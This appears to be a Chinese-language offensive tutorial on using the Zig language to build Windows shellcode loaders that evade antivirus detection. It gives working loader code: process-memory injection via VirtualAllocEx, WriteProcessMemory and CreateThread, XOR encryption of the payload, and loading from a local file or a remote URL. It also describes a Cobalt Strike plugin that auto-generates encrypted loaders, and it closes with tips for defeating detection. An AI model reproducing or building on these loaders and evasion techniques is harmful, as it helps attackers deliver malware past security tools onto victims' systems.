Zig语言免杀探索
字数 1010 2025-08-05 12:50:33
Zig语言免杀技术全面指南
为什么选择Zig进行免杀开发
Zig是一种新兴的系统级编程语言,具有以下优势使其成为免杀开发的理想选择:
- 跨平台能力:可编译为多种平台的可执行文件
- 二进制控制精细:通过编译参数即可控制文件大小、流程混淆等
- 低流行度:目前使用Zig进行免杀的案例较少,检测率相对较低
- 性能优化:生成的二进制文件效率高
Zig基础特性
Hello World示例
const std = @import("std");
pub fn main() void {
std.debug.print("Hello, world!\n", .{});
}
默认编译参数生成的文件大小约为742KB,但Zig提供了多种优化模式。
Zig的四种构建模式
-
Debug模式 (
-Doptimize=Debug)- 优化关闭,安全模式打开(默认)
-
ReleaseSafe模式 (
-Doptimize=ReleaseSafe)- 优化打开,安全模式打开
- 生成文件大小示例:503KB
-
ReleaseFast模式 (
-Doptimize=ReleaseFast)- 优化打开,安全模式关闭
- 生成文件大小示例:4.5KB
-
ReleaseSmall模式 (
-Doptimize=ReleaseSmall)- 大小优化打开,安全模式关闭
- 生成文件大小示例:4.5KB
进一步缩小文件的方法:
zig build-exe hello.zig -O ReleaseSmall --name hello-small -fstrip -fsingle-threaded
可生成仅3KB的可执行文件。
Windows API调用
MessageBox示例
const std = @import("std");
const win = std.os.windows;
extern "user32" fn MessageBoxA(
hWnd: ?*anyopaque,
lpText: [*:0]const u8,
lpCaption: [*:0]const u8,
uType: win.UINT,
) callconv(.C) i32;
pub fn main() !void {
_ = MessageBoxA(null, "Hello", "Zig", 0);
}
Shellcode加载器实现
基础加载器
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;
// Windows类型定义
const STARTUPINFOW = win.STARTUPINFOW;
const PROCESS_INFORMATION = win.PROCESS_INFORMATION;
// ...其他类型定义...
// API函数声明
extern "kernel32" fn GetCurrentProcessId() callconv(WINAPI) DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) HANDLE;
// ...其他API声明...
fn Injection(shellcode: []u8) void {
const pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
const rPtr = VirtualAllocEx(pHandle, null, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);
var bytesWritten: SIZE_T = undefined;
_ = WriteProcessMemory(pHandle, rPtr, @ptrCast(shellcode.ptr), shellcode.len, &bytesWritten);
const tHandle = CreateThread(null, 0, @ptrCast(rPtr), null, 0, null);
_ = WaitForSingleObject(tHandle, win.INFINITE);
}
pub fn main() void {
var shellcodeX64 = [_]u8{ 0xfc, 0x48, ... }; // 实际Shellcode
Injection(shellcodeX64[0..]);
}
Shellcode加密保护
使用多字节异或加密:
fn xorEncrypt(data: []u8, key: []const u8) void {
var j: usize = 0;
for (data) |*value| {
if (j == key.len) j = 0;
value.* ^= key[j];
j += 1;
}
}
// 使用示例
var shellcode = [_]u8{...};
const key = [_]u8{0x5a, 0x2e, 0xb7...};
xorEncrypt(shellcode[0..], key[0..]);
// 执行前再次异或解密
xorEncrypt(shellcode[0..], key[0..]);
Injection(shellcode[0..]);
分离免杀技术
本地文件加载方式
pub fn main() !void {
var file = try std.fs.cwd().openFile("calc.bin", .{});
defer file.close();
var buf_reader = std.io.bufferedReader(file.reader());
var in_stream = buf_reader.reader();
var buf: [1024]u8 = undefined; // 缓冲区应大于文件大小
_ = try in_stream.readAll(buf[0..]);
Injection(buf[0..]);
}
远程Shellcode加载
const http = std.http;
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();
var client: http.Client = http.Client{ .allocator = allocator };
defer client.deinit();
const uri = std.Uri.parse("http://example.com/shellcode.bin") catch unreachable;
const headers: http.Headers = http.Headers.init(allocator);
var req = try client.open(.GET, uri, headers, .{});
defer req.deinit();
try req.send(.{});
try req.wait();
var buf: [1024]u8 = undefined; // 适当大小的缓冲区
_ = try req.readAll(buf[0..]);
Injection(buf[0..]);
}
Cobalt Strike插件开发
插件功能:
- 自动生成随机异或密钥
- 加密Shellcode
- 生成完整的Zig源代码
- 自动编译为可执行文件
关键代码结构:
# 生成随机密钥
$xorkey = random_string();
$format_shellcode = shellcode($3["listener"], false, "x64");
$encrypted_shellcode = str_xor($format_shellcode, $xorkey);
# 替换模板中的占位符
$code = replace($code , '\{\{KEY\}\}' , $final_xorkey);
$code = replace($code , '\{\{SHELLCODE\}\}' , $final_shellcode);
# 编译命令
$cmd = "zig build-exe /tmp/temp.zig -fstrip -fsingle-threaded --name x4Ldr -target x86_64-windows";
插件下载地址:https://github.com/yutianqaq/CSx4Ldr
最佳实践建议
-
编译参数优化:
- 使用
-O ReleaseSmall最小化文件大小 - 添加
-fstrip -fsingle-threaded进一步减小体积
- 使用
-
加密策略:
- 使用随机长度的多字节异或密钥
- 考虑更复杂的加密算法如AES或RC4
-
加载方式选择:
- 内嵌Shellcode最简单但检测风险最高
- 本地文件加载提供灵活性
- 远程加载可实现动态更新
-
反检测技巧:
- 避免使用明显的API函数名
- 添加无害代码混淆行为分析
- 使用合法的数字签名(如可能)
通过结合Zig的语言特性和上述技术,可以构建出高效且难以检测的免杀程序。